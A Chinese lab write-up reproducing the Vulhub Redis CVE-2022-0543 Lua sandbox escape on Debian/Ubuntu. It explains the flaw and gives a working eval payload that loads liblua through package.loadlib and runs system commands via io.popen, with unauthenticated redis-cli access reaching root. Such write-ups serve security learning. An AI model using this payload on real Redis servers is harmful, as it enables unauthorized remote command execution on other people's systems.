渗透环境

攻击机:   IP: 192.168.66.130(Kali)

漏洞收录于:vulhub/redis/CVE-2022-0543

涉及知识点:redis沙盒逃逸

漏洞详情

受影响的系统

  • 仅限于 Debian 系 Linux 发行版(如 Debian、Ubuntu)及其衍生版本。
  • 不受影响的系统:CentOS、RHEL 等非 Debian 系发行版不受此漏洞影响(漏洞源于 Debian 维护者在打包 Redis 时的补丁问题,而非 Redis 自身代码问题)。

受影响的 Redis 版本范围

  • redis版本小于等于6.x的都可以尝试。

触发条件

​ 攻击者需具备 Redis 的未授权访问权限或合法凭证。

漏洞原理

  1. 背景

    Redis 允许通过 eval 命令执行 Lua 脚本,但正常情况下这些脚本运行在沙箱中,无法执行系统命令或文件操作。

  2. 补丁引入的漏洞

    Debian/Ubuntu 在打包 Redis 时,通过补丁代码向 Lua 沙箱中注入了一个名为 package 的全局对象。该对象本应在源码中被注释(出于沙箱安全考虑),但补丁错误地重新启用了它。

  3. 沙盒逃逸过程

    • 加载动态库:攻击者可通过 package.loadlib 加载 Lua 系统库(如 liblua5.1.so.0),调用其导出函数(如 luaopen_io)获取 io 库权限。
    • 执行命令:利用 io.popen 等函数执行任意系统命令。
    local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
    local io = io_l();
    local f = io.popen("whoami", "r"); -- 执行系统命令
    local res = f:read("*a");
    f:close();
    return res;

攻击思路

单从攻击角度而言,可以使用redis未授权相同的打法,博客见:【vulhub】redis 4-unacc (redis未授权访问) - Mr_Soap - 博客园

从漏洞角度来看,使用eval函数执行上面的逃逸过程即可。

复现漏洞

一、 启动漏洞容器

docker-compose up -d

可以看到redis运行在默认端口6379上

二、未授权连接

redis-cli -h 192.168.66.130

redis-cli -h [IP] -p [port] -a [password]

当使用默认端口6379时可不使用参数-p

测试连接,ping一下,成功连接

三、get shell

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");local io = io_l();local f = io.popen("whoami", "r");local res = f:read("*a");f:close();return res;' 0

可以看到命令都已经成功执行,我们已经拿到了root权限

【vulhub】redis CVE-2022-0543(redis沙盒逃逸)的更多相关文章

  1. 再谈CVE-2017-7047 Triple_Fetch和iOS 10.3.2沙盒逃逸

    作者:蒸米 ----------------- 0x00 序 Ian Beer@google发布了CVE-2017-7047Triple_Fetch的exp和writeup[1],chenliang@ ...

  2. python沙盒逃逸

    前言 最近遇到了很多python沙盒逃逸的题目(不知道是不是因为现在python搭的站多了--),实际使用时发现只会复制别人的payload是不够用的,于是自己来总结一波(顺带一提python沙盒逃逸 ...

  3. SSTI注入绕过(沙盒逃逸原理一样)

    在python沙盒逃逸中绕过道理是一样的. 1.python沙盒中删除了很多模块,但是没有删除reload reload(__builtins__),重新加载被删除的模块,直接命令执行,只用于py2 ...

  4. python-Flask模版注入攻击SSTI(python沙盒逃逸)

    一篇以python Flask 模版渲染为例子的SSTI注入教学~ 0x01 Flask使用和渲染 这里简化了flask使用和渲染的教程 只把在安全中我们需要关注的部分写出来 来一段最简单的FLASK ...

  5. seccomp沙盒逃逸基础——沙盒的规则编写

    seccomp沙盒逃逸基础--沙盒的规则编写 引入: 安全计算模式 seccomp(Secure Computing Mode)是自 Linux 2.6.10 之后引入到 kernel 的特性.一切都 ...

  6. Vulhub 漏洞学习之:Redis

    Vulhub 漏洞学习之:Redis 1 Redis简介 Redis 是完全开源的,遵守 BSD 协议,是一个高性能的 key-value 数据库.Redis 与其他 key - value 缓存产品 ...

  7. 为什么 Redis 的查询很快, Redis 如何保证查询的高效

    Redis 如何保证高效的查询效率 为什么 Redis 比较快 Redis 中的数据结构 1.简单动态字符串 SDS 对比 c 字符串的优势 SDS可以常数级别获取字符串的长度 杜绝缓冲区溢出 减少修 ...

  8. CVE-2015-1427(Groovy 沙盒绕过 && 代码执行漏洞)

    1.vulhub环境搭建 https://blog.csdn.net/qq_36374896/article/details/84102101 2.启动docker环境 cd vulhub-maste ...

  9. 沙盒解决方案解决SharePoint 2013 以其他身份登陆的问题

    众所周知,SharePoint 2013没有像SharePoint 2010那样有一个叫"以其他身份登录"的菜单项. 当然解决方案也很多,比如你可以直接修改Welcome.ascx ...

  10. SharePoint 2013 沙盒解决方案不能激活(激活按钮不可用)

    把沙盒解决方案上传到目标站点的"解决方案"库中,发现"激活"按钮是灰掉的,不可用. 首先,我想到的是权限不足,所以 "以管理员身份"启动IE ...

随机推荐

  1. liunx安装docker,portainer,mysql,rabbitMQ,nacos

    由于公司框架迭代了,故此写个随笔,记录一下,方便日后回顾 1.准备 阿里云服务器(liunx CentOS 7.6) 2.前置工作 (1)查看系统版本 lsb_release -a (2)查看系统以及 ...

  2. Teams 无法访问的问题

    排除以下 login.partner.microsoftonline.cn; login.microsoftonline.com; microsoft.com; live.com; hotmail.c ...

  3. 【bug记录】AttributeError: 'CollectReport' object has no attribute 'description'

    问题截图 问题原因 有完全重复用例,因为写用例的时候,为了图方便,直接复制的,还没来得及改,然后,用pytest运行的时候,就报这个错误了. 问题解决 去掉重复就行了

  4. tailscale安装教程

    tailscale安装失败可能是由于以下原因之一导致的: 系统兼容性问题:tailscale可能不支持你的操作系统版本或架构.请确保你的系统满足官方的最低要求,并尝试使用官方提供的正确版本进行安装. ...

  5. 使用Halcon软件和圆形标定板进行相机标定的步骤和教程

    直接给出使用Halcon软件和圆形标定板进行相机标定的教学视频链接: 55-相机标定4-DLT,张正友标定法,Halcon标定算子

  6. 浅谈网页端IM技术及相关测试方法实践(包括WebSocket性能测试)

    本文由转转QA赵里京分享,原题"浅谈IM与相关测试方法",下文进行了排版和内容优化. 1.引言 目前转转的所有业务都在快速增长,支撑其用户服务的客服系统也同样在快速发展,以承接用户 ...

  7. ImageSharp:高性能跨平台.NET开源图形库

    在.Net中,System.Drawing有平台限制的问题,如果需要跨平台就需要使用第三方库. 今天推荐一个.NET开源图形库,不依赖任何库,支持跨平台的图形库. 01 项目简介 ImageSharp ...

  8. 【Java 温故而知新系列】基础知识-03 基本类型对应之包装类

    1.包装类都有哪些? 基本类型都有对应的包装类型,这些包装类提供了一种面向对象的方式来处理基本数据类型,允许它们被用于需要对象的场景,如集合框架.泛型等. 对应关系: 基本类型 包装类型 boolea ...

  9. shell脚本检查192.168.1网段ip是否在用

    要检查 192.168.1 网段中哪些 IP 地址正在使用,可以使用 Shell 脚本结合 ping 命令来扫描整个网段.以下是实现这一功能的完整脚本: 脚本:检查 192.168.1 网段 IP 是 ...

  10. C++ STL学习笔记-C++ STL基础

    仅自己回忆使用,若有侵权,联系删除 algorithm实用库函数 sort:迭代器类型必须为随机访问迭代器(first,last),应该支持< 运算符,可以自己写比较 nth_element() ...